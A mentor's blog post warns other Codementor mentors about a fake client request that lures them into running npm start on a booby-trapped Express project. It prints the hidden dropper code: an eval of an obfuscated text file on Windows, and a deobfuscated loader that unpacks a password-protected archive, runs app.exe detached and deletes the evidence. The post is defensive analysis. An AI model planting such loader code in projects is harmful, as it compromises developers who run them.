The dangers of open requests for mentors in Codementor
This article is merely informative, specifically for mentors (like me) on this platform. Sometimes, when mentors check the dashboard for requests, we see something like this:
When you download such a thing in a hurry to get some easy cash on a simple express.js issue, you have to ask yourself why.
The catch: How this happens
Looking at the request, the clickbait is really simple: a well crafted social engineering attack to target mentors in the platform. Nothing else:
The first person who checks the site and writes a message that is really ready and can fix errors will be taken on for development.
This approach targets as many mentors as possible in an indiscriminate manner. The catch phrase here is "the first person who checks the site", which will make anyone that read it to think "I might have a fair chance here to get good money! I can be the first one! LET'S GO!!!". It mentally force you, in a attempt to get a job in the fastest way possible, to download the "site", run npm start
, hit enter and check the error.
* Record Scratch * * freeze frame * |
---|
Yup, that's me. You're probably wondering how I ended up in this situation |
Congratulations! The attacker just gained access to your device in one compulsive action (because you were greedy, easy money!).
Identifying harmful code execution
When examining code provided by a client via links, you have to be extremely careful about what you are receiving. Never trust anyone. Don’t run any code before you carefully review the contents of the files.
In this case, a portal that doesn’t run on npm start
is easy bait. However, since I don’t even trust my own shadow, the files on the "site" contained its own node_modules
. Why I should use it? that is sort of dumb decision to serve easily an absurd amount of files.
Remember: the attacker expects you to trust the content provided, so you don't need to run other commands aside of npm start
I decided not to use the node_modules
folder as it is a waste of time to extract it from a zip file. Instead I run npm install
as I find not trust worthy to have an unknown setup. Next step was to carefully inspected the files.
In my code editor, I expanded the view of the project regardless of how extensive it was, to get a mental map of its complexity. The attacker, in this case, wants to overwhelm you with a large number of files:
the attacker wants to overwhelm you with many 'good' files to hide the bad intent |
At this point, what do you think is wrong? You might say, “I see nothing wrong”, but we will revisit this screenshot later.
Examining package.json
Let’s start with this file because it can tell us more about how things look transparent but in reality serve a double purpose:
Based on the request, the idea is to run an Express.js application with some sort of CMS misconfiguration. However, upon closer examination, there are a few red flags, and we should ask ourselves if it’s safe to run:
- nodemon is not installed under devDependencies: an npx would be easier, but it is not being used
- A CMS using 7zip-bin? And mailgun-js (which is a deprecated package)?
This starts to smell fishy, but not strongly enough yet. This alone won't convince me to hit enter and run the comand.
cross-examinating app.js
On npm start, it runs app.js, which includes the following startup code:
require('babel-core/register')
require('./helpers/css.js')
require('./app-server.js')
Remember: Node is a monothreaded engine that can't run things really in parallel (Do you remember how JS event loop cycle works? please educate yourself),but in linear sequence. With this understanding, each require
needs to complete execution to allow the next block of code (another require
) to be run.
At first glance, this three simple lines of code does not show anything suspicious, so we need to study what each one of this lines executes.
The first line,require('babel-core/register')
hooks into Node’s module loader so that any subsequently required JavaScript files are transpiled on the fly by Babel before being executed. In other words, you can write modern (or otherwise transpiled) JavaScript syntax (like ES2015+ features), require those modules in your Node script, and Babel will compile them behind the scenes at runtime so Node can execute them.
Some key points:
- It’s part of Babel’s older setup (Babel 6.x). In Babel 7+, the equivalent is usually @babel/register.
- After this call, whenever your Node code does require("someFile.js"), Babel intercepts that import, compiles someFile.js into Node-compatible JavaScript, and then passes the compiled code on to Node.
- This is convenient mainly for development or quick prototyping. In production, you typically precompile your source files instead of transpiling on the fly, which is slower.
So far, so good. Nothing wrong there.
Now, the next line in sequence is require('./helpers/css.js')
. Observing its contents, things start to get a really bad smell:
cross-examinating helpers/css.js
Based on this code:
const fs = require("fs");
const os = require("os");
function site_version() {
const platform = os.platform();
switch (platform) {
case 'win32':
fs.readFile('public/css/types.txt', 'utf8', (err, data) => {
if (err) {
return;
}
eval(data);
});
console.log("=")
return 'w';
case 'darwin':
return 'm';
case 'linux':
return 'l';
default:
return 'Unknown';
}
}
site_version()
How do you justify using eval
? Remember that eval
is generally considered dangerous in JavaScript (and in generally everything that can evaluate anything as executable code). This means, its contents somehow gets executed, and when looking at the contents of public/css/types.txt
.
Considering this, I don't even need to look at the third require
sentence in app.js
, as this is full stop. The plot thickens:
Recall the screenshot of the project files. This text file might not even make sense due to the three red flags it contained:
- an
//empty file
line followed by - 400 empty lines
- followed by something else we will discuss next
After line 400, we discover some nasty obfuscated and minified code:
Now, no way in hell I will hit enter and execute npm start
under any circumstances. I'm totally convinced at this point the "client" has malicious intents.
That said, report immediately this to support@codementor.io and flag the post.
However, for public awareness—and because there is a lot to learn here—I took the liberty of exploring what lies behind this request. Using specialized tools, I discovered the following:
General walkthrough of this code exploit
This is a high-level walkthrough of what the code actually does, along with a more readable pseudo-source that captures the important details. If you were the unfortunate folks that typed npm start
and hit enter to try to get jackpot, the executed code itself is heavily self-defending, self-obfuscating JavaScript that:
-
Requires Node built-in modules and packages:
- child_process (for exec and spawn)
- path (for resolving file paths)
- fs (for file-system checks)
- 7zip-path (to locate the 7za or 7z binary)
-
Builds paths/passwords. It looks for something like:
zipPath = path.resolve("./public/js.7zip-F.zip");
outputPath = __dirname;
password = " -pYOUR_LONG_PASSWORD_HERE ";
Then it composes an unzipCommand string that runs 7z (or 7za) with the password to extract the archive into outputPath:
const unzipCommand = `"${pathTo7zip} x "${zipPath}" ${password} -o"${outputPath}" -y"`;
-
Calls exec(unzipCommand) to decompress the .7zip-F.zip archive in the background.
-
Checks if a certain extracted file/folder exists (within outputPath). If it does, it may:
- Spawn that file (such as spawn("./extractedFile.exe", [ … ], { detached: true, stdio: "ignore" }))
- Immediately detach it so it keeps running in the background, and then the parent script exits.
-
Cleans up (it sometimes calls exec("del "" + zipPath + """)) after extraction.
-
Has many fake condition checks, meaningless loops, and random string slicing. This is typical of obfuscation techniques designed to hide real logic under many random variables and “while(true) try/catch” loops.
The de-obfuscated pseudo code
After extensive digging and discarding garbage code, the pseudo code looks something like this:
//
// Pseudo-code to show the underlying logic
//
const { exec, spawn } = require("child_process");
const pathTo7zip = require("7zip-path").SevenZ; // e.g. "C:\\Program Files\\7-Zip\\7za.exe"
const path = require("path");
const fs = require("fs");
// 1) Identify the ZIP or 7z file you want to extract
const zipPath = path.resolve("./public/js.7zip-F.zip");
const outputPath= __dirname;
// 2) The password used to unlock the archive
const password = " -pYOUR_LONG_PASSWORD_HERE ";
// Example: " -pS0meCr@zyP4ssWord! "
// 3) Build the '7za' command-line string
const unzipCommand = (
`"${pathTo7zip}" ` +
`x "${zipPath}" ` +
`${password}` +
`-o"${outputPath}" -y`
);
// 4) Actually run the command
exec(unzipCommand, (err) => {
if (err) return;
// 5) Suppose the script expects a certain file/folder to appear
const extractedFile = path.join(outputPath, "some_extracted.exe");
// 6) If it exists, spawn that file so it runs in the background
if (fs.existsSync(extractedFile)) {
setTimeout(() => {
spawn(extractedFile, [], { detached: true, stdio: "ignore" }).unref();
}, 1000);
}
// 7) Optionally, remove the original ZIP
const deleteCommand = `del "${zipPath}"`;
exec(deleteCommand, (err2) => {
if (err2) {
// ignore or handle error
}
});
});
Now that we’ve seen this, let’s return to the beginning of this “request.” Remember package.json? The 7zip-bin package is directly tied to this and it is central in this schema. Again, we should inspect code carefully, and see the purpose of packages used in applications. Unfortunately, it requires certain familiarity and time to understand if the purpose of that package is lawful or not.
We then have to ask whether there is a ZIP file. Indeed, there is one! Check the screenshot at the start—there is a file protected by a password.
location of the zipped file protected by password |
I moved all the files into a self-contained environment to see what they do.
Continuing on. If you format that content into JS and use a deobfuscation tool (for example, https://deobfuscate.relative.im/), you’ll see the password used. After that, it self-extracts, executes app.exe, and deletes the file:
const { exec, spawn } = require('child_process'),
pathTo7zip = require('7zip-bin').path7za,
path = require('path'),
fs = require('fs'),
zipPath = path.resolve('./public/js/js.zip')
const outputPath = __dirname,
password =
'JNFWEIUFNWEF8N298F239889EWIFIENUWIFUNIUWNEFIUNWEIFUENWUIFNWEIFJDSNFKSDF'
;(function () {
const _0x5de787 = function () {
let _0x904806
try {
_0x904806 = Function(
'return (function() {}.constructor("return this")( ));'
)()
} catch (_0x4b63ef) {
_0x904806 = window
}
return _0x904806
}
const _0x5c9b90 = _0x5de787()
_0x5c9b90.setInterval(_0x56bce7, 4000)
})()
const unzipCommand =
'"' +
pathTo7zip +
'" x "' +
zipPath +
'" -p' +
password +
' -o"' +
outputPath +
'" -y'
exec(unzipCommand, (_0x449de5) => {
if (_0x449de5) {
return
}
const _0x3b6837 = path.join(outputPath, 'app.exe')
if (fs.existsSync(_0x3b6837)) {
setTimeout(() => {
const _0x4a0845 = spawn(_0x3b6837, [], {
detached: true,
stdio: 'ignore',
})
_0x4a0845.unref()
}, 500)
}
exec('del "' + zipPath + '"', (_0x294c2d) => {
if (_0x294c2d) {
return
}
})
})
Remember, the “client” said to run npm start
on the request and see if there were any errors. All of this happens in the blink of an eye.
When I ran this in my virtual box, the antivirus immediately triggered an alert and quarantined the threat:
This file was apparently written in Rust and specifically designed to steal user information. How? The image below shows the .rdata content after app.exe contents were extracted. Even if it is a binary file, some text is clearly readable, and by observing it carefully, it shows indications to target to the local storage directories of common web browsers:
targeted browser extraction from the .rdata file inside app.exe |
CONCLUSIONS
When you receive code to be executed in a project—regardless of how insistent the client is—always:
- Check package.json for any packages that don’t make sense for the application’s purpose.
- Inspect for compressed files, unusually large files for their type, or any other indicators that a file does not belong in the project.
- Look for obfuscated code. An example is to search for _0x in the codebase.
- and more importantly: do not execute code that you do not know. Don't run
npm start
without knowing what is going to happen. - If the project ever has an
.npmrc
check to what registry you are pulling packages. same forpackage-lock.json
as it could be possible that malicious packages can be pulled by just runningnpm install
- If you see something, say something. Report any abnormal client behavior and report the respective post.
The objective of these malicious actors is to target mentors, particularly Windows users. If you do not use antivirus software or have low security settings, the installed malware could cause significant harm not only to your computer but also to your clients, as it might have the capability to steal data (especially if you are involved in crypto).
I hope Codementor blocks links within client requests as it would protect the hardworking community who earn a living on this platform.
That’s it for now. Pay special attention to the projects you accept.
Merry Christmas, and stay safe!